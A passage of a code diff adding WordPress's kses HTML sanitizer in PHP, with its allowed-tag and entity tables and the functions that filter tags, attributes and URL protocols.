+		),
+		'sup' => array(),
+		'table' => array(
+			'align' => true,
+			'bgcolor' => true,
+			'border' => true,
+			'cellpadding' => true,
+			'cellspacing' => true,
+			'dir' => true,
+			'rules' => true,
+			'summary' => true,
+			'width' => true,
+		),
+		'tbody' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'td' => array(
+			'abbr' => true,
+			'align' => true,
+			'axis' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'colspan' => true,
+			'dir' => true,
+			'headers' => true,
+			'height' => true,
+			'nowrap' => true,
+			'rowspan' => true,
+			'scope' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'textarea' => array(
+			'cols' => true,
+			'rows' => true,
+			'disabled' => true,
+			'name' => true,
+			'readonly' => true,
+		),
+		'tfoot' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'th' => array(
+			'abbr' => true,
+			'align' => true,
+			'axis' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'colspan' => true,
+			'headers' => true,
+			'height' => true,
+			'nowrap' => true,
+			'rowspan' => true,
+			'scope' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'thead' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'title' => array(),
+		'tr' => array(
+			'align' => true,
+			'bgcolor' => true,
+			'char' => true,
+			'charoff' => true,
+			'valign' => true,
+		),
+		'track' => array(
+			'default' => true,
+			'kind' => true,
+			'label' => true,
+			'src' => true,
+			'srclang' => true,
+		),
+		'tt' => array(),
+		'u' => array(),
+		'ul' => array(
+			'type' => true,
+		),
+		'ol' => array(
+			'start' => true,
+			'type' => true,
+		),
+		'var' => array(),
+		'video' => array(
+			'autoplay' => true,
+			'controls' => true,
+			'height' => true,
+			'loop' => true,
+			'muted' => true,
+			'poster' => true,
+			'preload' => true,
+			'src' => true,
+			'width' => true,
+		),
+	);
+
+	/**
+	 * Kses allowed HTML elements.
+	 *
+	 * @global array $allowedtags
+	 * @since 1.0.0
+	 */
+	$allowedtags = array(
+		'a' => array(
+			'href' => true,
+			'title' => true,
+		),
+		'abbr' => array(
+			'title' => true,
+		),
+		'acronym' => array(
+			'title' => true,
+		),
+		'b' => array(),
+		'blockquote' => array(
+			'cite' => true,
+		),
+		'cite' => array(),
+		'code' => array(),
+		'del' => array(
+			'datetime' => true,
+		),
+		'em' => array(),
+		'i' => array(),
+		'q' => array(
+			'cite' => true,
+		),
+		'strike' => array(),
+		'strong' => array(),
+	);
+
+	$allowedentitynames = array(
+		'nbsp',    'iexcl',  'cent',    'pound',  'curren', 'yen',
+		'brvbar',  'sect',   'uml',     'copy',   'ordf',   'laquo',
+		'not',     'shy',    'reg',     'macr',   'deg',    'plusmn',
+		'acute',   'micro',  'para',    'middot', 'cedil',  'ordm',
+		'raquo',   'iquest', 'Agrave',  'Aacute', 'Acirc',  'Atilde',
+		'Auml',    'Aring',  'AElig',   'Ccedil', 'Egrave', 'Eacute',
+		'Ecirc',   'Euml',   'Igrave',  'Iacute', 'Icirc',  'Iuml',
+		'ETH',     'Ntilde', 'Ograve',  'Oacute', 'Ocirc',  'Otilde',
+		'Ouml',    'times',  'Oslash',  'Ugrave', 'Uacute', 'Ucirc',
+		'Uuml',    'Yacute', 'THORN',   'szlig',  'agrave', 'aacute',
+		'acirc',   'atilde', 'auml',    'aring',  'aelig',  'ccedil',
+		'egrave',  'eacute', 'ecirc',   'euml',   'igrave', 'iacute',
+		'icirc',   'iuml',   'eth',     'ntilde', 'ograve', 'oacute',
+		'ocirc',   'otilde', 'ouml',    'divide', 'oslash', 'ugrave',
+		'uacute',  'ucirc',  'uuml',    'yacute', 'thorn',  'yuml',
+		'quot',    'amp',    'lt',      'gt',     'apos',   'OElig',
+		'oelig',   'Scaron', 'scaron',  'Yuml',   'circ',   'tilde',
+		'ensp',    'emsp',   'thinsp',  'zwnj',   'zwj',    'lrm',
+		'rlm',     'ndash',  'mdash',   'lsquo',  'rsquo',  'sbquo',
+		'ldquo',   'rdquo',  'bdquo',   'dagger', 'Dagger', 'permil',
+		'lsaquo',  'rsaquo', 'euro',    'fnof',   'Alpha',  'Beta',
+		'Gamma',   'Delta',  'Epsilon', 'Zeta',   'Eta',    'Theta',
+		'Iota',    'Kappa',  'Lambda',  'Mu',     'Nu',     'Xi',
+		'Omicron', 'Pi',     'Rho',     'Sigma',  'Tau',    'Upsilon',
+		'Phi',     'Chi',    'Psi',     'Omega',  'alpha',  'beta',
+		'gamma',   'delta',  'epsilon', 'zeta',   'eta',    'theta',
+		'iota',    'kappa',  'lambda',  'mu',     'nu',     'xi',
+		'omicron', 'pi',     'rho',     'sigmaf', 'sigma',  'tau',
+		'upsilon', 'phi',    'chi',     'psi',    'omega',  'thetasym',
+		'upsih',   'piv',    'bull',    'hellip', 'prime',  'Prime',
+		'oline',   'frasl',  'weierp',  'image',  'real',   'trade',
+		'alefsym', 'larr',   'uarr',    'rarr',   'darr',   'harr',
+		'crarr',   'lArr',   'uArr',    'rArr',   'dArr',   'hArr',
+		'forall',  'part',   'exist',   'empty',  'nabla',  'isin',
+		'notin',   'ni',     'prod',    'sum',    'minus',  'lowast',
+		'radic',   'prop',   'infin',   'ang',    'and',    'or',
+		'cap',     'cup',    'int',     'sim',    'cong',   'asymp',
+		'ne',      'equiv',  'le',      'ge',     'sub',    'sup',
+		'nsub',    'sube',   'supe',    'oplus',  'otimes', 'perp',
+		'sdot',    'lceil',  'rceil',   'lfloor', 'rfloor', 'lang',
+		'rang',    'loz',    'spades',  'clubs',  'hearts', 'diams',
+		'sup1',    'sup2',   'sup3',    'frac14', 'frac12', 'frac34',
+		'there4',
+	);
+
+	$allowedposttags = array_map( '_wp_add_global_attributes', $allowedposttags );
+} else {
+	$allowedtags = wp_kses_array_lc( $allowedtags );
+	$allowedposttags = wp_kses_array_lc( $allowedposttags );
+}
+
+/**
+ * Filters content and keeps only allowable HTML elements.
+ *
+ * This function makes sure that only the allowed HTML element names, attribute
+ * names and attribute values plus only sane HTML entities will occur in
+ * $string. You have to remove any slashes from PHP's magic quotes before you
+ * call this function.
+ *
+ * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news',
+ * 'irc', 'gopher', 'nntp', 'feed', 'telnet, 'mms', 'rtsp' and 'svn'. This
+ * covers all common link protocols, except for 'javascript' which should not
+ * be allowed for untrusted users.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter through kses
+ * @param array $allowed_html List of allowed HTML elements
+ * @param array $allowed_protocols Optional. Allowed protocol in links.
+ * @return string Filtered content with only allowed HTML elements
+ */
+function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
+	if ( empty( $allowed_protocols ) )
+		$allowed_protocols = wp_allowed_protocols();
+	$string = wp_kses_no_null($string);
+	$string = wp_kses_js_entities($string);
+	$string = wp_kses_normalize_entities($string);
+	$string = wp_kses_hook($string, $allowed_html, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook
+	return wp_kses_split($string, $allowed_html, $allowed_protocols);
+}
+
+/**
+ * Filters one attribute only and ensures its value is allowed.
+ *
+ * This function has the advantage of being more secure than esc_attr() and can
+ * escape data in some situations where wp_kses() must strip the whole attribute.
+ *
+ * @since 4.2.3
+ *
+ * @param string $string The 'whole' attribute, including name and value.
+ * @param string $element The element name to which the attribute belongs.
+ * @return string Filtered attribute.
+ */
+function wp_kses_one_attr( $string, $element ) {
+	$uris = array('xmlns', 'profile', 'href', 'src', 'cite', 'classid', 'codebase', 'data', 'usemap', 'longdesc', 'action');
+	$allowed_html = wp_kses_allowed_html( 'post' );
+	$allowed_protocols = wp_allowed_protocols();
+	$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
+	$string = wp_kses_js_entities( $string );
+	$string = wp_kses_normalize_entities( $string );
+
+	// Preserve leading and trailing whitespace.
+	$matches = array();
+	preg_match('/^\s*/', $string, $matches);
+	$lead = $matches[0];
+	preg_match('/\s*$/', $string, $matches);
+	$trail = $matches[0];
+	if ( empty( $trail ) ) {
+		$string = substr( $string, strlen( $lead ) );
+	} else {
+		$string = substr( $string, strlen( $lead ), -strlen( $trail ) );
+	}
+	
+	// Parse attribute name and value from input.
+	$split = preg_split( '/\s*=\s*/', $string, 2 );
+	$name = $split[0];
+	if ( count( $split ) == 2 ) {
+		$value = $split[1];
+
+		// Remove quotes surrounding $value.
+		// Also guarantee correct quoting in $string for this one attribute.
+		if ( '' == $value ) {
+			$quote = '';
+		} else {
+			$quote = $value[0];
+		}
+		if ( '"' == $quote || "'" == $quote ) {
+			if ( substr( $value, -1 ) != $quote ) {
+				return '';
+			}
+			$value = substr( $value, 1, -1 );
+		} else {
+			$quote = '"';
+		}
+
+		// Sanitize quotes and angle braces.
+		$value = htmlspecialchars( $value, ENT_QUOTES, null, false );
+
+		// Sanitize URI values.
+		if ( in_array( strtolower( $name ), $uris ) ) {
+			$value = wp_kses_bad_protocol( $value, $allowed_protocols );
+		}
+
+		$string = "$name=$quote$value$quote";
+		$vless = 'n';
+	} else {
+		$value = '';
+		$vless = 'y';
+	}
+	
+	// Sanitize attribute by name.
+	wp_kses_attr_check( $name, $value, $string, $vless, $element, $allowed_html );
+
+	// Restore whitespace.
+	return $lead . $string . $trail;
+}
+
+/**
+ * Return a list of allowed tags and attributes for a given context.
+ *
+ * @since 3.5.0
+ *
+ * @param string $context The context for which to retrieve tags. Allowed values are
+ *  post | strip | data | entities or the name of a field filter such as pre_user_description.
+ * @return array List of allowed tags and their allowed attributes.
+ */
+function wp_kses_allowed_html( $context = '' ) {
+	global $allowedposttags, $allowedtags, $allowedentitynames;
+
+	if ( is_array( $context ) ) {
+		/**
+		 * Filter HTML elements allowed for a given context.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param string $tags    Allowed tags, attributes, and/or entities.
+		 * @param string $context Context to judge allowed tags by. Allowed values are 'post',
+		 *                        'data', 'strip', 'entities', 'explicit', or the name of a filter.
+		 */
+		return apply_filters( 'wp_kses_allowed_html', $context, 'explicit' );
+	}
+
+	switch ( $context ) {
+		case 'post':
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
+			break;
+		case 'user_description':
+		case 'pre_user_description':
+			$tags = $allowedtags;
+			$tags['a']['rel'] = true;
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $tags, $context );
+			break;
+		case 'strip':
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', array(), $context );
+			break;
+		case 'entities':
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context);
+			break;
+		case 'data':
+		default:
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
+	}
+}
+
+/**
+ * You add any kses hooks here.
+ *
+ * There is currently only one kses WordPress hook and it is called here. All
+ * parameters are passed to the hooks and expected to receive a string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter through kses
+ * @param array $allowed_html List of allowed HTML elements
+ * @param array $allowed_protocols Allowed protocol in links
+ * @return string Filtered content through 'pre_kses' hook
+ */
+function wp_kses_hook( $string, $allowed_html, $allowed_protocols ) {
+	/**
+	 * Filter content to be run through kses.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $string            Content to run through kses.
+	 * @param array  $allowed_html      Allowed HTML elements.
+	 * @param array  $allowed_protocols Allowed protocol in links.
+	 */
+	$string = apply_filters( 'pre_kses', $string, $allowed_html, $allowed_protocols );
+	return $string;
+}
+
+/**
+ * This function returns kses' version number.
+ *
+ * @since 1.0.0
+ *
+ * @return string KSES Version Number
+ */
+function wp_kses_version() {
+	return '0.2.2';
+}
+
+/**
+ * Searches for HTML tags, no matter how malformed.
+ *
+ * It also matches stray ">" characters.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Content with fixed HTML tags
+ */
+function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
+	global $pass_allowed_html, $pass_allowed_protocols;
+	$pass_allowed_html = $allowed_html;
+	$pass_allowed_protocols = $allowed_protocols;
+	return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
+}
+
+/**
+ * Callback for wp_kses_split.
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _wp_kses_split_callback( $match ) {
+	global $pass_allowed_html, $pass_allowed_protocols;
+	return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
+}
+
+/**
+ * Callback for wp_kses_split for fixing malformed HTML tags.
+ *
+ * This function does a lot of work. It rejects some very malformed things like
+ * <:::>. It returns an empty string, if the element isn't allowed (look ma, no
+ * strip_tags()!). Otherwise it splits the tag into an element and an attribute
+ * list.
+ *
+ * After the tag is split into an element and an attribute list, it is run
+ * through another filter which will remove illegal attributes and once that is
+ * completed, will be returned.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Fixed HTML element
+ */
+function wp_kses_split2($string, $allowed_html, $allowed_protocols) {
+	$string = wp_kses_stripslashes($string);
+
+	if (substr($string, 0, 1) != '<')
+		return '&gt;';
+	# It matched a ">" character
+
+	if ( '<!--' == substr( $string, 0, 4 ) ) {
+		$string = str_replace( array('<!--', '-->'), '', $string );
+		while ( $string != ($newstring = wp_kses($string, $allowed_html, $allowed_protocols)) )
+			$string = $newstring;
+		if ( $string == '' )
+			return '';
+		// prevent multiple dashes in comments
+		$string = preg_replace('/--+/', '-', $string);
+		// prevent three dashes closing a comment
+		$string = preg_replace('/-$/', '', $string);
+		return "<!--{$string}-->";
+	}
+	# Allow HTML comments
+
+	if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9]+)([^>]*)>?$%', $string, $matches))
+		return '';
+	# It's seriously malformed
+
+	$slash = trim($matches[1]);
+	$elem = $matches[2];
+	$attrlist = $matches[3];
+
+	if ( ! is_array( $allowed_html ) )
+		$allowed_html = wp_kses_allowed_html( $allowed_html );
+
+	if ( ! isset($allowed_html[strtolower($elem)]) )
+		return '';
+	# They are using a not allowed HTML element
+
+	if ($slash != '')
+		return "</$elem>";
+	# No attributes are allowed for closing elements
+
+	return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
+}
+
+/**
+ * Removes all attributes, if none are allowed for this element.
+ *
+ * If some are allowed it calls wp_kses_hair() to split them further, and then
+ * it builds up new HTML code from the data that kses_hair() returns. It also
+ * removes "<" and ">" characters, if there are any left. One more thing it does
+ * is to check if the tag has a closing XHTML slash, and if it does, it puts one
+ * in the returned code as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $element HTML element/tag
+ * @param string $attr HTML attributes from HTML element to closing HTML element tag
+ * @param array $allowed_html Allowed HTML elements
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Sanitized HTML element
+ */
+function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) {
+	# Is there a closing XHTML slash at the end of the attributes?
+
+	if ( ! is_array( $allowed_html ) )
+		$allowed_html = wp_kses_allowed_html( $allowed_html );
+
+	$xhtml_slash = '';
+	if (preg_match('%\s*/\s*$%', $attr))
+		$xhtml_slash = ' /';
+
+	# Are any attributes allowed at all for this element?
+	if ( ! isset($allowed_html[strtolower($element)]) || count($allowed_html[strtolower($element)]) == 0 )
+		return "<$element$xhtml_slash>";
+
+	# Split it
+	$attrarr = wp_kses_hair($attr, $allowed_protocols);
+
+	# Go through $attrarr, and save the allowed attributes for this element
+	# in $attr2
+	$attr2 = '';
+	foreach ( $attrarr as $arreach ) {
+		if ( wp_kses_attr_check( $arreach['name'], $arreach['value'], $arreach['whole'], $arreach['vless'], $element, $allowed_html ) ) {
+			$attr2 .= ' '.$arreach['whole'];
+		}
+	}
+
+	# Remove any "<" or ">" characters
+	$attr2 = preg_replace('/[<>]/', '', $attr2);
+
+	return "<$element$attr2$xhtml_slash>";
+}
+
+/**
+ * Determine whether an attribute is allowed.
+ *
+ * @since 4.2.3
+ *
+ * @param string $name The attribute name. Returns empty string when not allowed.
+ * @param string $value The attribute value. Returns a filtered value.
+ * @param string $whole The name=value input. Returns filtered input.
+ * @param string $vless 'y' when attribute like "enabled", otherwise 'n'.
+ * @param string $element The name of the element to which this attribute belongs.
+ * @param array $allowed_html The full list of allowed elements and attributes.
+ * @return bool Is the attribute allowed?
+ */
+function wp_kses_attr_check( &$name, &$value, &$whole, $vless, $element, $allowed_html ) {
+	$allowed_attr = $allowed_html[strtolower( $element )];
+
+	$name_low = strtolower( $name );
+	if ( ! isset( $allowed_attr[$name_low] ) || '' == $allowed_attr[$name_low] ) {
+		$name = $value = $whole = '';
+		return false;
+	}
+
+	if ( 'style' == $name_low ) {
+		$new_value = safecss_filter_attr( $value );
+
+		if ( empty( $new_value ) ) {
+			$name = $value = $whole = '';
+			return false;
+		}
+
+		$whole = str_replace( $value, $new_value, $whole );
+		$value = $new_value;
+	}
+
+	if ( is_array( $allowed_attr[$name_low] ) ) {
+		// there are some checks
+		foreach ( $allowed_attr[$name_low] as $currkey => $currval ) {
+			if ( ! wp_kses_check_attr_val( $value, $vless, $currkey, $currval ) ) {
+				$name = $value = $whole = '';
+				return false;
+			}
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Builds an attribute list from string containing attributes.
+ *
+ * This function does a lot of work. It parses an attribute list into an array
+ * with attribute data, and tries to do the right thing even if it gets weird
+ * input. It will add quotes around attribute values that don't have any quotes
+ * or apostrophes around them, to make it easier to produce HTML code that will
+ * conform to W3C's HTML specification. It will also remove bad URL protocols
+ * from attribute values. It also reduces duplicate attributes by using the
+ * attribute defined first (foo='bar' foo='baz' will result in foo='bar').
+ *
+ * @since 1.0.0
+ *
+ * @param string $attr Attribute list from HTML element to closing HTML element tag
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return array List of attributes after parsing
+ */
+function wp_kses_hair($attr, $allowed_protocols) {
+	$attrarr = array();
+	$mode = 0;
+	$attrname = '';
+	$uris = array('xmlns', 'profile', 'href', 'src', 'cite', 'classid', 'codebase', 'data', 'usemap', 'longdesc', 'action');
+
+	# Loop through the whole attribute list
+
+	while (strlen($attr) != 0) {
+		$working = 0; # Was the last operation successful?
+
+		switch ($mode) {
+			case 0 : # attribute name, href for instance
+
+				if ( preg_match('/^([-a-zA-Z:]+)/', $attr, $match ) ) {
+					$attrname = $match[1];
+					$working = $mode = 1;
+					$attr = preg_replace( '/^[-a-zA-Z:]+/', '', $attr );
+				}
+
+				break;
+
+			case 1 : # equals sign or valueless ("selected")
+
+				if (preg_match('/^\s*=\s*/', $attr)) # equals sign
+					{
+					$working = 1;
+					$mode = 2;
+					$attr = preg_replace('/^\s*=\s*/', '', $attr);
+					break;
+				}
+
+				if (preg_match('/^\s+/', $attr)) # valueless
+					{
+					$working = 1;
+					$mode = 0;
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+					}
+					$attr = preg_replace('/^\s+/', '', $attr);
+				}
+
+				break;
+
+			case 2 : # attribute value, a URL after href= for instance
+
+				if (preg_match('%^"([^"]*)"(\s+|/?$)%', $attr, $match))
+					# "value"
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr);
+					break;
+				}
+
+				if (preg_match("%^'([^']*)'(\s+|/?$)%", $attr, $match))
+					# 'value'
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr);
+					break;
+				}
+
+				if (preg_match("%^([^\s\"']+)(\s+|/?$)%", $attr, $match))
+					# value
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					# We add quotes to conform to W3C's HTML spec.
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr);
+				}
+
+				break;
+		} # switch
+
+		if ($working == 0) # not well formed, remove and try again
+		{
+			$attr = wp_kses_html_error($attr);
+			$mode = 0;
+		}
+	} # while
+
+	if ($mode == 1 && false === array_key_exists($attrname, $attrarr))
+		# special case, for when the attribute list ends with a valueless
+		# attribute like "selected"
+		$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+
+	return $attrarr;
+}
+
+/**
+ * Finds all attributes of an HTML element.
+ *
+ * Does not modify input.  May return "evil" output.
+ *
+ * Based on wp_kses_split2() and wp_kses_attr()
+ *
+ * @since 4.2.3
+ *
+ * @param string $element HTML element/tag
+ * @return array|bool List of attributes found in $element. Returns false on failure.
+ */
+function wp_kses_attr_parse( $element ) {
+	$valid = preg_match('%^(<\s*)(/\s*)?([a-zA-Z0-9]+\s*)([^>]*)(>?)$%', $element, $matches);
+	if ( 1 !== $valid ) {
+		return false;
+	}
+
+	$begin =  $matches[1];
+	$slash =  $matches[2];
+	$elname = $matches[3];
+	$attr =   $matches[4];
+	$end =    $matches[5];
+
+	if ( '' !== $slash ) {
+		// Closing elements do not get parsed.
+		return false;
+	}
+
+	// Is there a closing XHTML slash at the end of the attributes?
+	if ( 1 === preg_match( '%\s*/\s*$%', $attr, $matches ) ) {
+		$xhtml_slash = $matches[0];
+		$attr = substr( $attr, 0, -strlen( $xhtml_slash ) );
+	} else {
+		$xhtml_slash = '';
+	}
+	
+	// Split it
+	$attrarr = wp_kses_hair_parse( $attr );
+	if ( false === $attrarr ) {
+		return false;
+	}
+
+	// Make sure all input is returned by adding front and back matter.
+	array_unshift( $attrarr, $begin . $slash . $elname );
+	array_push( $attrarr, $xhtml_slash . $end );
+	
+	return $attrarr;
+}
+
+/**
+ * Builds an attribute list from string containing attributes.
+ *
+ * Does not modify input.  May return "evil" output.
+ * In case of unexpected input, returns false instead of stripping things.
+ *
+ * Based on wp_kses_hair() but does not return a multi-dimensional array.
+ *
+ * @since 4.2.3
+ *
+ * @param string $attr Attribute list from HTML element to closing HTML element tag
+ * @return array|bool List of attributes found in $attr. Returns false on failure.
+ */
+function wp_kses_hair_parse( $attr ) {
+	if ( '' === $attr ) {
+		return array();
+	}
+
+	$regex =
+	  '(?:'
+	.     '[-a-zA-Z:]+'   // Attribute name.
+	. '|'
+	.     '\[\[?[^\[\]]+\]\]?' // Shortcode in the name position implies unfiltered_html.
+	. ')'
+	. '(?:'               // Attribute value.
+	.     '\s*=\s*'       // All values begin with '='
+	.     '(?:'
+	.         '"[^"]*"'   // Double-quoted
+	.     '|'
+	.         "'[^']*'"   // Single-quoted
+	.     '|'
+	.         '[^\s"\']+' // Non-quoted
+	.         '(?:\s|$)'  // Must have a space
+	.     ')'
+	. '|'
+	.     '(?:\s|$)'      // If attribute has no value, space is required.
+	. ')'
+	. '\s*';              // Trailing space is optional except as mentioned above.
+
+	// Although it is possible to reduce this procedure to a single regexp,
+	// we must run that regexp twice to get exactly the expected result.
+
+	$validation = "%^($regex)+$%";
+	$extraction = "%$regex%";
+
+	if ( 1 === preg_match( $validation, $attr ) ) {
+		preg_match_all( $extraction, $attr, $attrarr );
+		return $attrarr[0];
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Performs different checks for attribute values.
+ *
+ * The currently implemented checks are "maxlen", "minlen", "maxval", "minval"
+ * and "valueless".
+ *
+ * @since 1.0.0
+ *
+ * @param string $value Attribute value
+ * @param string $vless Whether the value is valueless. Use 'y' or 'n'
+ * @param string $checkname What $checkvalue is checking for.
+ * @param mixed $checkvalue What constraint the value should pass
+ * @return bool Whether check passes
+ */
+function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) {
+	$ok = true;
+
+	switch (strtolower($checkname)) {
+		case 'maxlen' :
+			# The maxlen check makes sure that the attribute value has a length not
+			# greater than the given value. This can be used to avoid Buffer Overflows
+			# in WWW clients and various Internet servers.
+
+			if (strlen($value) > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minlen' :
+			# The minlen check makes sure that the attribute value has a length not
+			# smaller than the given value.
+
+			if (strlen($value) < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'maxval' :
+			# The maxval check does two things: it checks that the attribute value is
+			# an integer from 0 and up, without an excessive amount of zeroes or
+			# whitespace (to avoid Buffer Overflows). It also checks that the attribute
+			# value is not greater than the given value.
+			# This check can be used to avoid Denial of Service attacks.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minval' :
+			# The minval check makes sure that the attribute value is a positive integer,
+			# and that it is not smaller than the given value.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'valueless' :
+			# The valueless check makes sure if the attribute has a value
+			# (like <a href="blah">) or not (<option selected>). If the given value
+			# is a "y" or a "Y", the attribute must not have a value.
+			# If the given value is an "n" or an "N", the attribute must have one.
+
+			if (strtolower($checkvalue) != $vless)
+				$ok = false;
+			break;
+	} # switch
+
+	return $ok;
+}
+
+/**
+ * Sanitize string from bad protocols.
+ *
+ * This function removes all non-allowed protocols from the beginning of
+ * $string. It ignores whitespace and the case of the letters, and it does
+ * understand HTML entities. It does its work in a while loop, so it won't be
+ * fooled by a string like "javascript:javascript:alert(57)".
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to filter bad protocols from
+ * @param array $allowed_protocols Allowed protocols to keep
+ * @return string Filtered content
+ */
+function wp_kses_bad_protocol($string, $allowed_protocols) {
+	$string = wp_kses_no_null($string);
+	$iterations = 0;
+
+	do {
+		$original_string = $string;
+		$string = wp_kses_bad_protocol_once($string, $allowed_protocols);
+	} while ( $original_string != $string && ++$iterations < 6 );
+
+	if ( $original_string != $string )
+		return '';
+
+	return $string;
+}
+
+/**
+ * Removes any invalid control characters in $string.
+ *
+ * Also removes any instance of the '\0' string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_no_null($string) {
+	$string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
+	$string = preg_replace('/(\\\\0)+/', '', $string);
+
+	return $string;
+}
+
+/**
+ * Strips slashes from in front of quotes.
+ *
+ * This function changes the character sequence \" to just ". It leaves all
+ * other slashes alone. It's really weird, but the quoting from
+ * preg_replace(//e) seems to require this.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string String to strip slashes
+ * @return string Fixed string with quoted slashes
+ */
+function wp_kses_stripslashes($string) {
+	return preg_replace('%\\\\"%', '"', $string);
+}
+
+/**
+ * Goes through an array and changes the keys to all lower case.
+ *
+ * @since 1.0.0
+ *
+ * @param array $inarray Unfiltered array
+ * @return array Fixed array with all lowercase keys
+ */
+function wp_kses_array_lc($inarray) {
+	$outarray = array ();
+
+	foreach ( (array) $inarray as $inkey => $inval) {
+		$outkey = strtolower($inkey);
+		$outarray[$outkey] = array ();
+
+		foreach ( (array) $inval as $inkey2 => $inval2) {
+			$outkey2 = strtolower($inkey2);
+			$outarray[$outkey][$outkey2] = $inval2;
+		} # foreach $inval
+	} # foreach $inarray
+
+	return $outarray;
+}
+
+/**
+ * Removes the HTML JavaScript entities found in early versions of Netscape 4.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_js_entities($string) {
+	return preg_replace('%&\s*\{[^}]*(\}\s*;?|$)%', '', $string);
+}
+
+/**
+ * Handles parsing errors in wp_kses_hair().
+ *
+ * The general plan is to remove everything to and including some whitespace,
+ * but it deals with quotes and apostrophes as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_html_error($string) {
+	return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string);
+}
+
+/**
+ * Sanitizes content from bad protocols and other characters.
+ *
+ * This function searches for URL protocols at the beginning of $string, while
+ * handling whitespace and HTML entities.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to check for bad protocols
+ * @param string $allowed_protocols Allowed protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once($string, $allowed_protocols, $count = 1 ) {
+	$string2 = preg_split( '/:|&#0*58;|&#x0*3a;/i', $string, 2 );
+	if ( isset($string2[1]) && ! preg_match('%/\?%', $string2[0]) ) {
+		$string = trim( $string2[1] );
